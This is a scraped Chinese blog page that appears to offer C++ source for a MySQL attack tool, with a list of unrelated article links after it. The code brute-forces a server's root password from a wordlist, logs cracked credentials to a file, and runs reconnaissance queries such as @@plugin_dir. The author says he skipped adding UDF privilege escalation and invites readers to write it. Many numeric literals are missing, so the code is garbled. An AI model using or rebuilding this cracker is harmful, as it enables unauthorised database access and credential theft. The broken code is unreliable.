#include "StdAfx.h"
#include "Sql.h"
#include <windows.h>
#include <stdio.h>
#include <mysql.h> #pragma comment(linker,"/nodefaultlib:LIBCMT.lib")
#pragma comment(linker,"/nodefaultlib:MSVCRTD.lib")
#if defined _DEBUG
#pragma comment(lib, "mysqlclient_debug.lib")
#else
#pragma comment(lib, "mysqlclient.lib")
#endif
#pragma comment(lib, "wsock32.lib")
#pragma comment(lib, "Advapi32.lib") Sql::Sql(void)
{
} Sql::~Sql(void)
{
} void Sql::writefiles(char* buffer)
{
FILE* fp = NULL;
fp = fopen("succ.txt","a+");
if (fp != NULL)
{
fwrite(buffer,strlen(buffer),,fp);
}
fclose(fp);
} void Sql::Usage(char* help)
{
printf("[-]:%s Usage:->192.168.1.1->root->crack\r\n",help);
printf("[-]:%s Usage:->192.168.1.1->root->sql->passwordroot->select user()\r\n",help);
//return;
exit();
} int Sql::crack_mysql(char* ServerHost,char* Username,char* password)
{
MYSQL *conn;
MYSQL_RES *res;
MYSQL_ROW row;
char plugs[];
conn = mysql_init(NULL);
char buffer[] = {}; int count = ;
char* Sql_exec[] = {"select version()","select user()","show databases","select @@plugin_dir"}; if (!mysql_real_connect(conn,ServerHost,
Username,password,"mysql",,NULL,CLIENT_MULTI_STATEMENTS))
{
printf("Host:%s->Username:%s->Password:%s failed\r\n",ServerHost,Username,password);
mysql_close(conn);
}else
{
memset(buffer,,sizeof(buffer));
sprintf_s(buffer,"Host:%s->Username:%s->Password:%s successfuly\r\n\r\n",ServerHost,Username,password);
printf(buffer);
writefiles(buffer); if (mysql_select_db(conn,"mysql"))
{
printf("Select Errors the mysql database!\r\n");
} for (int i =;i<;i++)
{
if (mysql_query(conn,Sql_exec[i]))
{
fprintf(stderr,"%s\r\n",mysql_error(conn));
//exit(1);
} res = mysql_use_result(conn);
//res = mysql_store_result(conn); while ((row = mysql_fetch_row(res)) != NULL)
{
sprintf_s(plugs,"%s",row[]);
printf("%s\r\n",plugs);
}
}
mysql_free_result(res);
mysql_close(conn);
}
return ;
} int Sql::sql_exec(char* ServerHost,char* Username,char* password,char* sql)
{
MYSQL *conn;
MYSQL_RES *res;
MYSQL_ROW row;
char plugs[];
conn = mysql_init(NULL); int count = ; if (mysql_real_connect(conn,ServerHost,
Username,password,"mysql",,NULL,CLIENT_MULTI_STATEMENTS))
{
fprintf(stderr,"Host:%s->Username:%s->Password:%s successfuly\r\n\r\n",ServerHost,Username,password); if (mysql_select_db(conn,"mysql"))
{
printf("Select Errors the mysql database!\r\n");
} if (mysql_query(conn,sql))
{
fprintf(stderr,"%s\r\n",mysql_error(conn));
//exit(1);
}
if (!(res = mysql_store_result(conn)))
{
return -;
} while ((row = mysql_fetch_row(res)) != NULL)
{
ZeroMemory(plugs,sizeof(plugs));
sprintf_s(plugs,"%s",row[]);
printf("%s\r\n",plugs);
}
mysql_free_result(res);
mysql_close(conn);
}else
{
fprintf(stderr,"Host:%s->Username:%s->Password:%s failed\r\n",ServerHost,Username,password);
}
return ;
} int main(int argc,char* argv[])
{
char* ServerHost = argv[];
char* Username = argv[];
char* method = argv[];
Sql* newsql = NULL;
FILE* fp = NULL;
char buffer[MAX_PATH] = {};
if (argc < )
{
newsql->Usage(argv[]);
} if (strstr(method,"crack"))
{ fp = fopen("pass.txt","rb"); if (fp == NULL)
{
printf("Error:%d, pwd.txt not found\r\n",GetLastError());
return ;
}
while (fgets(buffer,MAX_PATH,fp) != NULL)
{
if (buffer[strlen(buffer) - ] == '\r')
{
buffer[strlen(buffer) - ] = '\0';
} if (buffer[strlen(buffer) - ] == '\n')
{
buffer[strlen(buffer) - ] = '\0';
} newsql->crack_mysql(ServerHost,Username,buffer);
memset(buffer,,sizeof(buffer));
}
fclose(fp);
}else if (strstr(method,"sql"))
{
char* password = argv[];
char* sql = argv[];
newsql->sql_exec(ServerHost,Username,password,sql);
} return ;
}

头文件

#pragma once
class Sql
{
public:
Sql(void);
~Sql(void);
void Usage(char*);
int crack_mysql(char* ServerHost,char* Username,char* password);
int sql_exec(char* ServerHost,char* Username,char* password,char* sql);
void writefiles(char* buffer);
};

本来还想写一个UDF 导出提权的,懒得写了。有兴趣的人可以自己去写。

Mysql 利用小工具源码的更多相关文章

  1. Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表

    Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表 一个个人觉得比较简单小巧的软件. 下面就如何编写如何发布打包来介绍一下吧! 先下载mysql的库文件链接:http://files. ...

  2. 实例源码--Android小工具源码

      下载源码   技术要点: 1. Android控件布局的使用 2. Http通信 3. XML数据解析 4. 网络状态的监听 5. 源码带有非常详细的中文注释 ...... 详细介绍: 1. An ...

  3. 从微信小程序开发者工具源码看实现原理(四)- - 自适应布局

    从前面从微信小程序开发者工具源码看实现原理(一)- - 小程序架构设计可以知道,小程序大部分是通过web技术进行渲染的,也就是最终通过浏览器的dom tree + cssom来生成渲染树:既然最终是通 ...

  4. 从微信小程序开发者工具源码看实现原理(一)- - 小程序架构设计

    使用微信小程序开发已经很长时间了,对小程序开发已经相当熟练了:但是作为一名对技术有追求的前端开发,仅仅熟练掌握小程序的开发感觉还是不够的,我们应该更进一步的去理解其背后实现的原理以及对应的考量,这可能 ...

  5. 复用微信小程序源码包后仍然有原小程序的版本管理怎么处理

    前言: 复用微信小程序源码包后,重新创建项目导入源码包,会发现开发者工具版本管理中仍然有原来小程序的版本,这样就不太好了.毕竟是一个新的小程序,需要有新的版本控制的.那么这个问题怎么处理呢? 解决方案 ...

  6. MySQL的JDBC驱动源码解析

    原文:   MySQL的JDBC驱动源码解析 大家都知道JDBC是Java访问数据库的一套规范,具体访问数据库的细节有各个数据库厂商自己实现 Java数据库连接(JDBC)由一组用 Java 编程语言 ...

  7. MySQL Master High Available 源码篇

    https://m.aliyun.com/yunqi/users/1287368569594542/articles https://yq.aliyun.com/articles/59233 MySQ ...

  8. 反编译获取线上任何微信小程序源码(转)

    看到人家上线的小程序的效果,纯靠推测,部分效果在绞尽脑汁后能做出大致的实现,但是有些细节,费劲全力都没能做出来.很想一窥源码?查看究竟?看看大厂的前端大神们是如何规避了小程序的各种奇葩的坑?那么赶紧来 ...

  9. 【转】反编译获取任何微信小程序源码(完)

    一.前言最近在学习微信小程序开发,半个月学习下来,很想实战一下踩踩坑,于是就仿写了一个阿里妈妈淘宝客小程序的前端实现,过程一言难尽,差不多两周时间过去了,发现小程序的坑远比想象的要多的多!!在实际练手 ...

随机推荐

  1. Yue Fei's Battle(组合计数递推)

    //求一个直径为 k 的树有多少种形态,每个点的度不超过 3 // 非常完美的分析,学到了,就是要细细推,并且写的时候要细心 还有除法取模需要用逆元 #include <iostream> ...

  2. tomcat8热部署配置--maven自动发布项目到tomcat8(如何支持远程访问部署)

    1.tomcat8实现热部署的配置  我们实现热部署后,自然就可以通过maven操作tomcat了,所以就需要maven取得操作tomcat的权限,现在这一步就是配置tomcat的可操作权限. #进入 ...

  3. git是一种思路,解决问题的算法

    w 首先,弄清思路.算法:这是高效学习.高效产出的方法.

  4. testlink1.9.3测试管理工具安装

    一.下载testlink1.9.3rar安装包 下载地址:http://download.csdn.net/download/u010082992/7678491 二.安装IIS 在Server 20 ...

  5. Python 网络编程——socket

    一 客户端/服务器架构 客户端(Client)服务器(Server)架构,即C/S架构,包括 1.硬件C/S架构(打印机) 2.软件C/S架构(web服务) 理想/目标状态—— 最常用的软件服务器是 ...

  6. Python3.6全栈开发实例[014]

    14.好声音选秀大赛评委在打分的时,可以进行输入. 假设,有10个评委.让10个评委进行打分, 要求, 分数必须大于5分, 小于10分. count = 1 while count <= 10: ...

  7. Nginx学习(1)

    Nginx 是一个高性能的 Web 和反向代理服务器, 它具有有很多非常优越的特性: 作为 Web 服务器:相比 Apache,Nginx 使用更少的资源,支持更多的并发连接,体现更高的效率,这点使 ...

  8. Ubuntu Server 16.04安装xfce4图形界面远程控制

    1.首先连接上你的服务器,然后安装vncserver,命令如下 apt-get install vnc4server 2.安装图形界面 apt-get install xfce4如果安装不上,就 ap ...

  9. 第一次java小考心得体会

    本周四Java第一次上课,测试了一个ATM程序,从两点半开始到五点半结束. 整整三个小时,结果怎么说呢,大概可以用惨不忍睹来形容吧. 因为之前有一个测试样卷,以为考试内容不会变的我,只是把学生信息管理 ...

  10. MySQL数据库(5)_MySQL数据库视图、触发器

    一.视图 视图是一个虚拟表(非真实存在),其本质是[根据SQL语句获取动态的数据集,并为其命名],用户使用时只需使用[名称]即可获取结果集,并可以将其当作表来使用. SELECT * FROM ( S ...